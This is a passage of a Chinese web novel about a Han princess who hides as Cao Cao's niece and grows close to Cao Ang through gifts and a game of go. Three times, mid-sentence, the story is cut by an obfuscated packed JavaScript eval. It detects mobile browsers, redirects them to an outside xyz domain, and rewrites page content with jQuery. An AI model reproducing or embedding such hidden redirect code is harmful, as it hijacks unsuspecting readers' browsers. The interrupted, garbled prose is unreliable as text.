只是慧儿有些愤愤不平,只因曹操提出的办法是让刘琼假充为他夫人的娘家侄女,且是无父无母,只能来投奔他这位姨父的孤儿,这样他在行军途中带着女眷,也就合情合理了。 慧儿不情愿,只因觉得曹操这提议是以下犯上,公主的父母长辈何等尊贵,岂是他一介臣子可以冒充的? 更何况他让刘琼假冒的还不是他正妻丁夫人的娘家侄女,而是先前纳的妾室刘夫人的娘家侄女。 对此曹操却也有解释,此番这般,也是为了不让刘琼改名字,一来怕她不习惯,二来也容易穿帮,倒不如一开始就不改,这样反倒还自然些。 刘琼对此接受良好,在她看来,反正都是假的,什么身份不重要。 可慧儿仍是替她委屈,不过好在并非不知轻重,刘琼几个眼神过去,她也就按捺住了心中不满。 一众人继续前往扬州,快到城门口时,曹操的堂弟兼属下曹洪早得到消息,特地领一队人马来接,双方寒暄过后,曹洪便带众人前去馆舍歇息。 “子廉,此次募兵,情况如何?”一边走着,曹操一边询问。 “一切顺利,扬州刺史和丹阳太守都很配合。”曹洪如实禀报,“对了,主公,夏侯兄弟也从陈留郡赶来了。” “哦?元让也来了吗?”曹操听到这儿,心安了不少。 “何止是他来了,就连大公子也千里迢迢赶来接应主公了。”曹洪又透露了一个关键消息。 “怎么昂儿也来了?我那夫人竟然舍得这孩子出远门?”曹操闻言十分惊讶。 “主公这是说哪里话?好男儿志在四方的道理,嫂嫂岂会不知?” “而且我观大公子虽未加冠,但在待人接物方面已然十分稳妥,可见嫂嫂也是下了大力气教养的。” 曹洪素来敬重曹操的妻子儿女,且丁夫人与曹昂为人也的确不错,也难怪他为两人说了这许多好话了。 “他来了也好,一会儿到了馆舍你去通知他,赶紧换身衣服来见我,就说有贵客来访。”曹操想了想后,这般吩咐道。 “贵客?什么贵客?”曹洪其实早就看见队伍里的马车了,但却不知里面是何人。 “也不是外人,就是昂儿的妹妹,你叫他来见见。”曹操简单解释了一句。 “大公子的妹妹?是节儿吗?主公何时把我大侄女带来了?”曹洪纳闷儿的很。 “哎呀,不是节儿,叫你去,你就去,问那么多干什么?等他来了,这一见面不就都知道了吗?” 曹操见他问个没完,怕泄露了消息,有些不耐烦的摆了摆手。 “奥。”曹洪眼看他恼了,只能讪讪的闭了嘴,连连点头答应着。 他们在外头骑着马自顾自的就把事情给说定了,可马车里的慧儿听了这话当即就要去理论。 她家公主尚未及笄,还在闺中,哪里能随随便便见外男呢,莫说宫廷里了,就是民间也没这样的规矩,说难听点,这已经是无理至极了。 慧儿眼看着就要炸了,可刘琼却眼疾手快拉住了她,并摇头示意她不要轻举妄动。 随后刘琼又悄声安抚于她,言说曹操此举也是为了增加她这个假身份的可信性,一切都是为了她们的性命着想,如此一来,那些繁文缛节反而不怎么重要了。 慧儿其实也明白这个道理,就是心里替公主委屈,刘琼也知道她一心为了自己,更是不忍苛责,只悄声劝慰。 就这样,主仆两个达成了一致,随曹操等人一同入了馆舍。 7. 两人初见 却说曹操派曹洪去嘱咐自己长子换衣服,待会儿要见客,而他自己则是吩咐曹仁赶紧去采买些女子成衣和首饰来,两人忙领命而去。 可曹仁一个大老粗,又长年累月的带兵,哪里懂小姑娘的穿着打扮啊,他不会挑,也没什么耐心,干脆就不拘什么样式的,只撒钱买了一堆回来。 待到仆从把东西送到刘琼她们临时落脚的房间里,整个梳妆台都放不下了。 “殿……”,慧儿正要呼唤对方。 “嗯?你该叫我什么?”好在刘琼及时拦住话头。 “瞧奴婢这张嘴,竟是一时改不了了,该打,实在是该打。”说着话,慧儿便抬起右手在自己嘴上轻轻拍了两下。 “在这屋里倒也无妨,可若在外头叫人听见,那可就不好了。”刘琼并没责备她,只是轻声提醒道。 “是,女公子,奴婢受教了,绝不会再犯。”慧儿赶紧行了一礼请罪道。 “不过这不年不节的,如何就送了这许多衣裳首饰来呢?”她走到梳妆台前查看。 “你忘了待会儿要见那我哥哥吗?既是第一次相见,自然要正式些。”刘琼也走到梳妆台前坐下。 “这是怎么了?”她见慧儿一直皱眉,不由得问了一句。 “这些成衣倒也罢了,虽尺寸没有那么贴合,但身量上也大差不差。” “只是这些首饰,大多都是金玉钗环,都是女公子用不了的啊。”慧儿打开那首饰匣子展示给她看,面上也不满的很。 “我朝贵族女子平时虽多饰以金玉,可未婚少女却并非如此啊,这采买之人也着实糊涂。”她又吐槽了一句。 “罢了罢了,我们只是暂居于此,也不好讲究太多。” “况且我这新晋姑父手下多是男儿,难免有所疏漏,但见这些东西都价值不菲,便知他们并无怠慢。” “既是无心之过,我等也不好苛责。”刘琼看了看那首饰匣子,却为采买之人说了些好话。 “我只用这几条发带即可,你再为我梳个双鬟髻,足以见客了。”说着,她就从那金玉首饰中抽出了几条缥色发带。 “女公子,那这衣服,选哪个颜色?”慧儿放下匣子,转而去为她挑衣衫。 “我那姑父既说我是无父无母的孤儿,前来投奔于他,那此时自是不宜穿那鲜红玄墨的衣衫,一会儿见的又是自家哥哥,那就是非正式场合,不必穿深衣见客。” “你且拿一条青白配色的襦裙,再寻一件素色纱衣给我就是。”刘琼看了看后,如此吩咐道。 “诺。”慧儿行了一礼后,便上手服侍。 她本就是刘琼的贴身侍女,原是做惯了这些梳妆打扮的活计,虽然这些日子未曾经手,可一旦开始,很快就找回了感觉。 她利落的把刘琼的头发分成两股,分别在头部两侧各梳一个发髻,又用缥色发带系住,打成漂亮的结状,尽显少女的青春活力。 至于妆容,刘琼现在还小,不宜浓妆艳抹,现在情况又特殊,且她的容貌已然足够清丽,实在不必用脂粉装饰,那样反而会失了纯真,倒不如就这样清清爽爽着。 刘琼也觉得她说的很是,便只简单画了眉毛,又拿口脂轻轻点唇,尽量让它贴近原本唇色,呈现浅红,以彰自然之美。 弄好了头发妆容,慧儿又服侍她换了衣裳,青色上襦,白色下裙,衣缘袖口又绣有云气纹,再配着差不多同色的发带,就算准备就绪了。 刘琼打量着自己的装扮,也觉得很满意。 “这些金玉首饰我是用不得,但你好像快及笄了,挑几件喜欢的拿去吧。”她笑着赏赐道。 “奴婢谢女公子赏。”慧儿听公主记挂着自己,自是满心欢喜。 但她也没有贪心,只按规矩选了几件宫女能穿戴的首饰,随后又马不停蹄的收拾起自己来。 与给刘琼梳妆追求青春活力又尽善尽美不同,她特地挑了一件灰色的衣衫,又梳了一个锥髻,就是那种看着就很端庄的发型。 虽然她这样做符合规矩,但难免打扮的老气了些。 “慧儿,以前在宫里……我是说,以前在家里时,你从来也不这样装扮啊,今日这是为何?”刘琼问了一句。 “女公子容禀,以前在家里,下人们的穿着打扮都有规矩,穿的鲜嫩些也无妨。” “可现在是在外头,女公子身边又只奴婢一个忠仆,奴婢打扮的老气些,年纪就看着大点。” “这样待会儿陪女公子去见那什么曹家哥哥时,才能镇住他,让他不敢放肆。”慧儿行了一礼后,郑重其事的回答道。 “你想的也太多了些,待会儿见客,我那姑父自会在场,若那曹家哥哥真敢放肆,不用你出马,便有人会收拾他了。”刘琼闻言却笑出了声。 “这……”,慧儿虽说快及笄了,但到底还是年纪小,一时竟是没想到这点,有些讪讪的。 “好了,我知你一片丹心皆是为我。”刘琼见状,忙拉住她的手安抚,又从首饰匣子里取了一个玉簪,要为她插在身后椎髻上。 “女公子,这怎么使得?这不行啊,这不合规矩。”慧儿手忙脚乱的想阻止。 “行,我说行就行。”然而刘琼却执意为她插上了那支玉簪,“若是有旁人问起,你就说是我赏的,这样就不算不合规矩。” “而且就像你刚才说的,我身边如今只剩你一个忠仆,若你穿戴的太朴素了,那旁人岂不是也看轻了我?” “好了,不过是支簪子,不值当什么的,不许推辞,还是那句话,我说行就行。”刘琼拍了拍她的手,耐心安抚道。 “……奴婢听女公子的就是。”慧儿感动的什么似的,当即行了一礼。 却说她们主仆两个笑的正开心,不多时,便有下人来报,言说晚膳已经备好,请女公子前去。 刘琼和慧儿再次整理了一下着装,确定无疑便一前一后出了房间,朝着厅堂而去。 到了地方,但见曹操正端坐上首,左右两侧各铺下席子,又有案台摆放,其上膳食瓜果点心齐全,可见准备妥当。 刘琼上前与之见礼,口称姑父,曹操也很自然的答应着,并示意慧儿扶刘琼坐在他右侧,大汉规矩,以右为尊,此举倒是赢得不少好感。 正寒暄着说话呢,却听门口突然传来阵阵脚步声,并有清亮的少年音响起。 “父亲,孩儿听说父亲来了,特来拜见。” 话音未落时,就见一少年郎兴冲冲的走了进来。 “怎么?你就听说我来了,不曾知道有贵客吗?还不见过你妹妹。”曹操说着,就示意儿子见礼。 “先前叔父已经告知了一声,原是孩儿一心惦记着父亲,竟是浑忘了,还望妹妹莫要怪罪。”曹昂一边解释,一边朝着刘琼行了一礼,算作赔罪。 “哥哥一心惦念父亲长辈,实乃赤诚君子,孝顺至极,小妹又岂有怪罪之理?”刘琼也赶紧起身,走上前去与他见礼。 方才灯下昏暗,两人又离得远,不曾看清对方容貌装扮,如今这打了个照面,见礼起身后,四目相对间,竟是都愣住了。 但见这少年生的十分俊朗,许是才十四五岁的年纪,眉眼间还有些抹不去的青涩,只眼神坚毅非常。 而且不知是巧合,还是怎的,他竟然穿了一身淡青色衣衫,头上虽未束冠,却也用发绳梳成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656109|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发髻于头上,整个人显得利落又典雅。 一眼望去,直让人连连赞叹,好一个翩翩公子,便是刘琼自幼生在宫里,见惯了姿容姣好的面庞,也不得承认,眼前这个曹昂,的确是个美男子。 而曹昂那边,看她也看呆了,虽说他自幼也是生在贵族之家,侍候左右之人,就没有一个貌丑的,可任他搜遍记忆也寻不出比眼前这个妹妹更漂亮的来。 虽然妹妹看着还年幼,好像只有十一二岁的样子,但这绝世美貌却是已经开始显露出来了。 他虽看的目不转睛,但眼中却并无亵渎之意,更多的是一种欣赏和惊艳。 所以刘琼也不怎么反感,反而觉得他这呆呆的样子还挺可爱的,不由得笑了起来。 而她这一笑更是了不得了,曹昂更是看的眼睛连眨都不眨了。 坐在上首处的曹操自是乐见其成,可慧儿却很不满了,她赶紧跟到自家公主身旁。 “女公子,大公子,快请上坐吧。”说着,慧儿就把刘琼扶回了席位上。 “是啊,昂儿,你也过来坐吧,这是你生母娘家的侄女,因父母早逝,也无兄弟扶持,特来投奔于我。” “你生母素来为我所爱重,她的侄女,也是我的至亲,于你也不是外人,故而设宴,让你们兄妹两个见见,也亲近亲近。” 曹操一边招呼儿子入席,一边跟他解释刘琼的身份。 “……孩儿遵命。”而曹昂听到这话后,眼里却闪过一丝诧异,但他并未当众提出什么质疑,而是行了一礼后,顺势坐到了他的左手边。 随后他们互换了姓名,又问了些喜好什么的,眼看时辰差不多了,曹操便宣布宴席开始,等用过了晚膳,慧儿便服侍刘琼回房休息。 可曹昂却不曾离开,而是一直在等曹操。 “天色已晚,我儿怎么还不去休息啊?”曹操看他还在,明知故问道。 “孩儿心有疑虑,还望父亲解惑。”曹昂行了一礼后,恭敬请求道。 “你我父子长久不曾秉烛夜谈了,今晚正好,跟我来吧。”曹操招了招手。 “是。”曹昂答应着,随即跟在他身后,等回了自己的房间,曹操吩咐心腹兵士在门口看守,又紧闭门窗后,才和儿子一起来到内室坐下。 “想问什么就问吧。”曹操抬了抬手,示意他开口。 “父亲,方才那女公子,恐怕不是我的妹妹吧。”曹昂也不忸怩,直言心中疑惑。 “哦?何以见得呢?”曹操却不答反问道。 “孩儿的生母,乃是父亲的妾室,她之娘家,虽说小有资产,不愁吃穿,但若要培养出刚才那女公子的仪容姿态,恐怕比登天还难吧。”曹昂提出了质疑。 “父亲说那女公子是孩儿的妹妹,肯定有父亲的道理,只是孩儿担心,若不赶快回乡,而是滞留在外,恐怕会有祸事临头啊。”这才是曹昂所忧虑的。 “连你都看出来了,看来这扬州实在不宜久留,此事也的确有些欠妥当了。”曹操听到这儿,也若有所思道。 “这样,这几日你就留在馆舍陪着你妹妹,务必保证她的安全,她要吃什么,玩什么,只要我们能做到的,都答应。” “我则去和扬州刺史再洽谈一下募兵之事,一旦募兵结束,我们即刻启程回乡。”曹操思虑再三后,如此吩咐道。 “……是。”曹昂本想再探问一下刘琼的真实身份,可看父亲这般郑重的模样,他还是把到嘴边的话咽了下去,点头应下不提。 等他走后,曹操却睡不着了,突然又想到了什么,赶忙派人去寻曹仁来,并郑重的嘱咐了什么,后者听的连连点头并立刻下去办事。 8. 试探身份 曹昂得了父亲曹操的嘱咐,自是整日整日的陪着刘琼,不过他也有心试探她的身份,便特地找来许多贵族才玩的娱乐之物奉上。 可无论是宴饮玩耍的投壶,还是陶冶情操的乐谱,亦或者蹴鞠弹棋等游戏,这小姑娘竟然都游刃有余,甚至颇为熟络。 更难得的是,她还识字明理,写的一手的漂亮的字体,不只是篆书,就连隶书她也会写,甚至还能与他说些诗词歌赋,文人名将之类的事迹。 这种种迹象都只能说明她家里非富即贵,且她本人极受长辈宠爱,不然也不能享受家族这许多资源的供给。 曹昂越是试探就对她越是好奇,也从一开始的审视带上了些许诚心,便决定最后再试探一次,若是没有结果,便直接询问。 打定了主意后,又用过早膳,曹昂便带上自己‘精心准备’的礼物过来了。 彼时,刘琼和慧儿正在后院赏花,难得这馆舍里有活水池塘,边上又有凉亭,如今已近夏日,有圆圆的荷叶和朵朵花苞从水下长出来。 偶尔又有游鱼越出水面,尾巴一甩,晶莹剔透的露珠便打在嫩绿浅粉的花叶之上,带出阵阵清凉。 两个小姑娘手里都拿着些稻米之类的鱼食,不时抛向池塘,引来许多鱼儿争抢,也算是为这无聊的饭后时光添了些乐趣。 而曹昂的准时到来,则是让她们两个的精神瞬间一振。 其实经过这几日的相处,她们都意识到了他的小心思。 但看他并无恶意,又生的实在赏心悦目的份上,两人还是原谅了他,并且还有些好奇他今天又带来了什么好玩的东西。 而曹昂也并未藏着掖着,与之见礼后,便把两件礼物依次排开放到了石桌上。 “纸鸢?”慧儿很有眼力见的打开了第一个盒子,刘琼伸手拿起其中的物品,原是个竹子做的风筝,又用绢帛蒙面,其上还绣着云纹。 “做的倒是精巧,只可惜,有些不合时宜。”她看了看后,有些遗憾的放下了。 “哦?愿闻妹妹高见。”曹昂一愣,但随即就抬了抬手,大方的示意她指教。 “放纸鸢大多是春季踏青郊游时的活动,可如今荷花都快开了,天也热的什么似的,半丝凉风也无,这纸鸢又岂能飞的起来呢?” “再说了,即便它飞的起来,我也不喜欢,到底是死物,不如活生生的鸟儿们可爱。” 说着话,刘琼就招了招手,只见不远处树梢上落着乘凉的各种莺雀纷纷朝她飞来。 这些小生灵或是落在她面前的石桌上,或是在她肩头蹦蹦跳跳,还有更大胆的竟是直接飞到她手上啄食方才喂鱼时,残留在掌心的几粒稻米。 它们‘啾啾’叫个不停,却并不惹人厌恶,反而生机勃勃,让人怜爱。 “妹妹所言极是,倒是我考虑不周了。”曹昂头一次见这场景,也是惊讶非常,而且人家说的的确在理,他也就虚心接受。 “俗话说,‘黍粟满仓,不如一瓢暖心’,既是哥哥送的,那妹妹自然要好生珍藏,今年玩不了,明年再玩就是了。” 刘琼挥手让那些鸟儿散开,又给了慧儿一个眼神,后者心领神会,即刻把盒子盖上,将这份礼物放到一旁,随即又打开了第二个盒子。 “七孔针线?”看到里面七根金针排列在一起,旁边又有五色彩线时,刘琼和慧儿当即便惊呼出声。 而且肉眼可见的,慧儿就生气了,张口就要呵斥,还是刘琼眼疾手快拉了一把,又用眼神安抚,这才堪堪止住她的怒气。 “我的好哥哥,你该不会不知道这是什么意思吧。”然后,刘琼立刻反问他。 “不就是一些针线吗?能有什么意思?我想着你整日闷在馆舍也是无趣,正好做些针线打发时光啊。”曹昂一脸懵。 “……”,看他神色不似作伪,刘琼和慧儿就明白,他这是真不知道。 可这个话题也不是刘琼这等未婚少女能提的,况且她还是被送礼物的那个,就更不好挑破了。 慧儿见状,便主动站出来解释,只见她先是朝着曹昂行了一礼,然后便开始了科普。 “大公子,容奴婢冒犯了,按理说,女儿家做些针织纺线,本是分内之事,您作为兄长,送自家妹妹针线本也无妨。” “可是这款针线却是七孔金针并五色丝线,这就不适合随便送人了。” “用五色丝线穿七孔针,本是我朝女子于七夕之日,在月夜下所行之礼,意在祈求织女赐予一双巧手。” “又兼七夕乃牛郎织女相会之时,便又带上了些祈求美满姻缘之意。” “大公子,您今日送女公子这个,可是大有不妥啊,莫非,这东西不是哥哥送妹妹,倒是……” 话到最后,慧儿竟是大着胆子内涵起曹昂来,偏偏她还不把话说完,只欲言又止,反倒更让人难为情了。 “原是我孤陋寡闻,只听那店家极力推荐,说这是女儿家最喜欢的款式,便买了来。” “不想此物竟是这个意思,冒犯妹妹,实在是对不住,对不住啊。” 曹昂听到这解释,顿时就涨红了脸,连连作揖道歉,整个人羞愧难当。 可都这种时候了,他还没忘了为自己辩解,也见也有几分急智,亦或者,他心里本来就有数,这才能对答如流的。 “好了好了,不知者不罪,况且是自家兄妹之间,没得说什么怪罪不怪罪的,哥哥快起来吧。” 虽然他已经表现的很自然了,但刘琼还是看出了些端倪,不过却也没有当下拆穿,而是虚扶了他一把,又为他开脱着,好让他放松警惕。 “要的,要的,一定要赔罪的,不如这样吧,我陪妹妹玩投壶吧,谁要是输了,那就……” 果不其然,他还以为事情进展一切顺利,便继续往下说,可话还没说完就被打断了。 “可我今天不想玩投壶,倒是对围棋感兴趣的很,好哥哥,你既然说要赔罪,那不如陪我手谈一局吧。”刘琼轻声细语的说着不容置疑的话。 “……也,也好啊。”她不按套路出牌,气场又突然变得这么强大,弄得曹昂不知所措,只能硬着头皮答应下来。 不多时,慧儿就带着人把棋盘棋盒都拿到了凉亭里,刘琼又示意她去周围看着些,别出什么差错,慧儿自是领命而去。 如此一来,这凉亭里就只剩他们两个在场,中间的石桌上摆着棋盘,两人手边则放着棋盒。 汉代规矩,下围棋前,需要分别在棋盘角落放置两黑两白一共四个棋子充当座子,然后再由双方棋手轮流落子,如此对弈才算真正开始。 按照习惯,应该由执白子者先行,且执白子者,一般是位尊或者年长之人。 可刚才慧儿布置棋局时,特地把装白子的棋盒放在了刘琼那边,这让曹昂拿也不是,不拿也不是。 他还在纠结,可刘琼却已经取出一枚白子落在了棋盘上。 “请吧。”然后她又抬了抬下巴,示意他跟上。 “……”,曹昂见她执白子,却极其自然的样子,心下更是认定她来历不凡,便也顾不上其他,直接执黑子跟上。 “你之前无论是说话还是办事,都是很妥帖的,可今天却一连送了我两件不合心意的礼物。” “我的好哥哥,让我猜猜看,你到底是有意,还是无意呢?”刘琼一边下棋,一边先发制人。 “哪个都不是,先前我已解释过了啊。”曹昂强装镇定。 “可你的解释却其言未尽。”刘琼捏着一枚白子轻轻敲了敲棋盘边缘。 “虽未尽,但却未有不诚之处,倒是妹妹你,仿佛有许多秘密瞒着我。”曹昂意有所指道。 “哦?那你倒是说说看,我瞒你什么了?”刘琼不答反问道。 “比如你的真实姓名?”曹昂试探的问了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656110|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句。 “我何曾瞒你这个?不是第一次见面就告诉你了吗?”她看了他一眼。 四目相对间,他也看出她并未撒谎,那也就意味着,刘琼这个名字是真的。 “你果真是刘姓贵女,那可否告知是哪一支?”曹昂思虑一瞬后,便再次探问起她的祖籍,试图寻到些蛛丝马迹。 “等你赢了这盘棋再来问我吧。”刘琼却没有正面回答,而是再度落下一枚白子,试图绞杀他的大龙。 眼看情况对自己相当不利,曹昂连忙上手补救。 黑白棋子也随即铺展开,一阵激烈的你来我往的厮杀过后,棋盘上的局势也进入到白热化阶段。 而曹昂也不愧是有真材实料的,竟然从一开始的劣势到现在慢慢占据上风,只要他一直保持这个状态,恐怕这局棋的结果就不会有什么悬念了。 “你不是一直想知道我是哪一支刘姓的女儿吗?我现在就可以告诉你。”然而刘琼眼珠子一转就有了主意。 “现在?可你刚才……”曹昂皱了皱眉。 “刚才是刚才,现在是现在,此一时,彼一时的道理你懂不懂?” “人家都说,擅棋者心有丘壑,无论输赢,皆是云淡风轻,你不要这般死板嘛。” 她明明是在耍赖,偏偏她年纪还小,又生的美貌,若是旁人如此出尔反尔,少不得会让人讨厌,可落在她身上,却好似是在撒娇,有一种说不出的可爱。 “那,那你说吧,你到底是哪家的?”明明察觉了不对劲,但曹昂就是不忍心拒绝,况且这答案也是他一直想要的,也没理由拒绝啊。 “这天下是哪家的,那我就是哪家的。”刘琼随口就是一句吓死人不偿命的大实话。 “……”,曹昂一惊,手上的黑子随之掉落棋盘。 眼看他乱了阵脚,刘琼立刻落下一枚白子,场上局势当即逆转。 “啊,我赢了,我赢了。”小姑娘高兴的连连拍手。 曹昂一愣,低头一看,果见棋局已经尘埃落定。 “是我输了,可你刚才耍诈了,胜之不武,岂是大丈夫所为?”他认输,但不服气。 “俗话说,兵不厌诈,谁让你自己那么轻敌的?”然而刘琼却振振有辞的反驳道。 “至于说胜之不武,不配大丈夫嘛,我本也不是什么大丈夫啊。”她摊开手,洋洋得意道。 “那你方才……方才那回答,可是真的吗?还是说,只是为了赢棋哄我的?”他皱紧了眉头,再次朝她确认道。 “这个嘛,只要你先回答我一个问题,我就告诉你。”刘琼没有立刻回应,而是起身站起走到他面前,提出了新要求。 “你想问什么?”曹昂有些不明所以。 “好哥哥,你且告诉我,那七孔金针的含义,你是真不知道,假不知道,还是……装不知道呢?” 她俯下身子凑到他耳边悄声询问,偏偏最后半句顿了顿,言语间还带着些挑笑的意味。 “……”,此话一出,曹昂顿时就红了脸,这次倒不是装的,而是羞的,气的,现在他脑子里一团浆糊,怎么也想不明白她怎么敢的? 这是在调戏自己吧,一定是的吧。 可还不等他把事情捋清楚,刘琼早就笑着跑开了,她一边跑还一边回头看他,那她在笑谁,也就不言而喻了。 意识到这点的曹昂感觉自己脸上更烫了,还有一种说不出的羞耻感涌上心头,让他走也不是,留也不是,就在凉亭里傻坐着。 直到叔父曹洪找了来,见他面红耳赤,又一言不发,神色也有些不对,还以为他中暑了呢,忙大呼小叫的招呼人去寻医师。 尽管曹昂竭力解释自己没事,但曹洪却根本不信,为了赶快给他治疗,这位武将出身的叔父竟是扛起他就往外跑。 他们正好和回来的曹仁撞了个满怀,三人纷纷倒地,场面一片混乱。 9. 突发事件 对曹昂的试探反将一军,且得胜而归的刘琼心情很好。 而曹昂那边,尽管被她调戏一顿,心里又羞又恼,可又觉得她率真可爱,不似一般贵族女子矫揉造作。 此番作为,竟是误打误撞拉进了两个年轻人的距离,而曹昂也带着从她那得来的玩笑似的回答去找父亲曹操确认。 眼看公主自己向他说破了身份,曹操也就告诉了儿子,但为了防止走漏风声,他也只是把话说了一半,并未提及传国玉玺也在公主身上。 转而千叮咛,万嘱咐的告诉儿子,千万不要把这消息外传,一切等他们回乡之后再说。 曹昂也知道事关重大,识趣的没有再追问为何公主会由父亲带着,而是乖乖听话,几乎是寸步不离的守着刘琼。 既然自己的身份已经戳破了,两人先前又有那场对弈,刘琼也就不藏着掖着,各种掩饰了。 她开始堂而皇之的指示他做这做那,当然了,明面上还是用的妹妹的名义,但双方都知道是怎么回事。 可曹昂竟也任劳任怨,听她差遣,这一来二去的,双方也熟络了许多,相处起来也没有最开始那般拘谨,反倒自然不少。 等观察了几天后,刘琼就发现,他并不只是因为自己是公主才对自己好的,似乎还挺在意自己这个人的,意识到这点的她,心里对他多了不少好感。 而这种好感在曹操他们于扬州募兵结束,返回家乡,却在路上遭遇了士兵的哗变时,大大加深了。 刘琼猜测着,可能是之前曹操他们募兵的时候,有哪个环节出了问题,但当亲自面对不断起哄,极有可能变成暴徒的士兵们,她还是吓到了。 曹昂虽然只是个半大少年,也没见过这等场面,心下有些发怵,但他还是毅然决然的手持兵器护在了刘琼和慧儿的马车前。 就凭这一点,两个小姑娘对他的好感那就蹭蹭往上涨。 但眼下这问题总得解决啊,就在刘琼琢磨着,是不是需要动用一下自己的亲和力,召唤附近一些个豺狼虎豹的大型动物出来帮忙的时候,作为主事人的曹操倒是先采取了行动。 曹操深知这会儿不宜硬碰硬,所以很快把自己的忠实部下并亲族出身的曹仁,曹洪,乃至夏侯惇等实力不凡的将军聚在了一起。 众人统一出面,先是以强大武力和朝廷授予的官位相震慑,随后又加之安抚,准许这些士兵不愿意跟随的,可自行离去。 好一番的恩威并施之下,这才结束了这场威胁众人性命的闹剧,而结果也不太乐观。 他们本来在扬州招募了四千多人,可最后愿意跟随他们一起回乡的,竟然只有一千人左右,这里面还包括曹操的亲卫们。 一下子失去了这么多的兵源,便是经历过不少大起大落的曹操也有点沮丧。 不过他们这次也不是毫无所获,不管怎么说,现在公主和玉玺都在他手上了,这大义名分肯定是有的。 想通这点后,曹操又振作起来,带着众人快马加鞭回了家乡。 彼时,主持府内中馈并一众家事的丁夫人听说夫君和儿子就要回家了,高兴的什么似的,不仅把府里下人们指挥的团团转,还亲自到门口相迎。 只是她怎么也没想到这次不止他们父子回家了,还带回来了个美貌的小姑娘。 丁夫人是曹操的正妻,在他未发迹时就与他成婚,里里外外一大家子的人和事,她都打理的井井有条,自是个有心胸有见识的。 她只和刘琼打了个照面,就猜到这小姑娘身份不凡。 尽管曹操当着众人的面表示刘琼是自己妾室刘夫人娘家的侄女,丁夫人也没有信他,但也没有戳破。 因为她相信自己的夫君这么说肯定有自己的安排,她也相信关键大事他绝不会瞒着自己,所以才能神色如常的接待这个所谓的侄女。 而事实也果然如她猜测的那样,心知这事儿瞒不过枕边人,更有甚者,还得靠着枕边人一起瞒着。 不出意外的,曹操当晚便去了丁夫人的院落,并悄悄跟她说了实话,又嘱咐她要好好照顾公主,千万不能怠慢。 丁夫人一听刘琼是万年公主,惊讶过后就是欣喜。 因为她清楚的记得,今日回府时,陪在公主身边的正是她的儿子曹昂,看样子两个年轻人还挺合得来的,思及此处,丁夫人的心思瞬间就活泛起来了。 虽说曹昂不是她亲生的,可却是她亲手养大的,母子两个全然与亲生的别无二致。 倘若她能帮儿子娶到万年公主,那儿子在家里的地位必然就稳如泰山,而她这个做母亲的,脸上也会颇有光彩,更有甚者,一旦婚事成了,他们曹家也会是皇亲国戚了。 丁夫人心里的小算盘打的啪啪作响,尽管儿子还未曾加冠,而公主也未及笄,两人离成婚的年纪还早呢,但在她看来,这都不是事儿。 为了能在将来百分百促成这桩好婚事,她在夫君曹操的再三嘱咐之余,更添三分卖力。 丁夫人几乎是用了全部的热情来对待刘琼,吃穿用度无一不精,态度和蔼到一度令曹昂这个做儿子的都忍不住抱怨。 他甚至觉得刘琼才是自己母亲的亲闺女,而他反倒是那个捡来的傻儿子了。 不过他的这种话与其说是抱怨,倒不如说是吃醋了更合适一些,所以无论是丁夫人还是刘琼,都是听过之后便一笑了之,从不往心里去的。 直到有一日,她的声望值系统突然响了起来。 “恭喜宿主,已成功逃脱孙坚之手,再不受其威胁,并顺利加入曹操阵营,奖励声望值加三,并新式束综提花织机图纸一张,可织造更复杂的图案,且效率提升二到三倍。” “温馨提示,曹操此时正陷入军费筹集困境,请宿主为其解决问题,并竭力提升自己在此阵营的声望,以免被其背刺。” 半透明的光屏上明晃晃的写着一好一坏两个消息,耳边也传来熟悉的提示音,但却都让她有些疑惑。 明明她早就逃脱孙坚的控制了,为什么现在才发放奖励? 还有,曹操的军费又怎么和自己的安危联系在一起了呢? ‘难不成,他还会卖了我去换钱财吗?’刘琼正觉得好笑至极,可却突然后知后觉的想起,曹操可并非一直都是大汉忠臣啊。 虽然她依稀记得,曹操不会这么早有二心,可凡事不怕一万,就怕万一啊。 事关自己的性命,刘琼很是慎重,和慧儿在花园里散步都心不在焉的。 “女公子,女公子?”慧儿在一旁连唤几声她才反应过来。 “啊?怎么了?”刘琼回神,转头问她。 “没怎么,就是不久前,大公子那边遣人来说,今儿个他父亲在书房议事,怕是不能过来陪女公子了。”慧儿如实转告。 “在书房议事?知道是什么事吗?”刘琼一听,立刻追问道。 “这个倒是不知。”慧儿摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656111|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摇头。 “女公子若真想知道,何不去拜见丁夫人?以夫人对女公子的爱护,必定知无不言,言无不尽的。”不过她却出了个主意。 “这话很是,那我们就去拜见她。”刘琼也觉得这个提议好,便带上慧儿一起去了丁夫人的院落。 